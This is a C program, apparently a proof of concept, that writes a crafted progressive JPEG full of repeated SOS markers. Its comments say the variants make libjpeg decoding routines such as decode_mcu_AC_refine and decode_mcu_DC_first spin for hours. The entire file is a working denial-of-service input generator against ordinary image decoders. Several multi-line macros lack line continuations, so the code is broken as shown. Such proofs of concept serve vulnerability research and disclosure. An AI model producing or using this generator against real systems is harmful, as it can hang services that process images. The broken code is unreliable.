#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>
#define KB * 1024
/* max 65500 */
#define DIMENSION "\x20\x00" /* ~8MB RAM? */
/* copied from the source because I don't want to think about what a valid table has to look like */
static char quanttab[] = {
16, 11, 10, 16, 24, 40, 51, 61,
12, 12, 14, 19, 26, 58, 60, 55,
14, 13, 16, 24, 40, 57, 69, 56,
14, 17, 22, 29, 51, 87, 80, 62,
18, 22, 37, 56, 68, 109, 103, 77,
24, 35, 55, 64, 81, 104, 113, 92,
49, 64, 78, 87, 103, 121, 120, 101,
72, 92, 95, 98, 112, 100, 103, 99
};
static int quanttab_size = sizeof(quanttab);
/* Huffman tables per JPEG spec */
static char dclumbits[] = {
0, 1, 5, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 0, 0
};
static char dclumvals[]= {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
};
static char aclumbits[]= {
0, 2, 1, 3, 3, 2, 4, 3,
5, 5, 4, 4, 0, 0, 1, 0x7d
};
static char aclumvals[]= {
0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08,
0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0,
0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16,
0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28,
0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6,
0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5,
0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4,
0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2,
0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea,
0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8,
0xf9, 0xfa
};
#define WRITE_BYTE(byte) { img[off] = (byte); off++; }
#define WRITE_WORD(word) {
WRITE_BYTE((word >> 8) & 0xff);
WRITE_BYTE(word & 0xff);
}
/*#define ARI*/
#ifdef ARI
/* progressive arithmetic */
#define SOF10
"\xFF\xCA\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
#else
/* progressive Huffman */
#define SOF2
"\xFF\xC2\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
#endif
int main(void) {
puts("preparing...");
unsigned char head[] =
/*SOI*/ "\xFF\xD8"
#ifdef ARI
SOF10
#else
SOF2
#endif
/*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;
/* Uncomment this to cause decode_mcu_AC_refine() to spin for hours */
unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x01\x01\x10";
/* Uncomment this to cause decode_mcu_AC_first() to spin for hours */
/* unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x01\x01\x00"; */
/* Uncomment this to cause decode_mcu_DC_refine() to spin for hours */
/* unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x10"; */
/* Uncomment this to cause decode_mcu_DC_first() to spin for hours */
/* unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x00"; */
int headlen = sizeof(head)-1;
int soslen = sizeof(sos)-1;
int i, len, nval, soses = 0;
unsigned char img[8000 KB];
memcpy(img, head, headlen);
int off = headlen;
memcpy(img+off, quanttab, quanttab_size);
off += quanttab_size;
#ifndef ARI
/* Write default Huffman tables */
WRITE_BYTE(0xff); WRITE_BYTE(0xc4); /* DHT marker */
nval = 0;
for(i = 0; i < 16; i++) nval += dclumbits[i];
len = 19 + nval;
WRITE_WORD(len); /* DHT length */
WRITE_BYTE(0x00); /* Huffman class */
for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]);
for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]);
WRITE_BYTE(0xff); WRITE_BYTE(0xc4); /* DHT marker */
nval = 0;
for(i = 0; i < 16; i++) nval += aclumbits[i];
len = 19 + nval;
WRITE_WORD(len); /* DHT length */
WRITE_BYTE(0x10); /* Huffman class */
for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]);
for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]);
#endif
while (off + soslen <= sizeof(img)) {
memcpy(img + off, sos, soslen);
off += soslen;
soses++;
}
/* leave the rest uninitialized, whatever */
printf("SOS markers: %d\n", soses);
FILE *f = fopen("eofloop_2.jpg", "w");
if (!f) err(1, "fopen");
if (fwrite(img, off, 1, f) != 1)
errx(1, "fwrite");
if (fclose(f))
err(1, "fclose");
return 0;
}
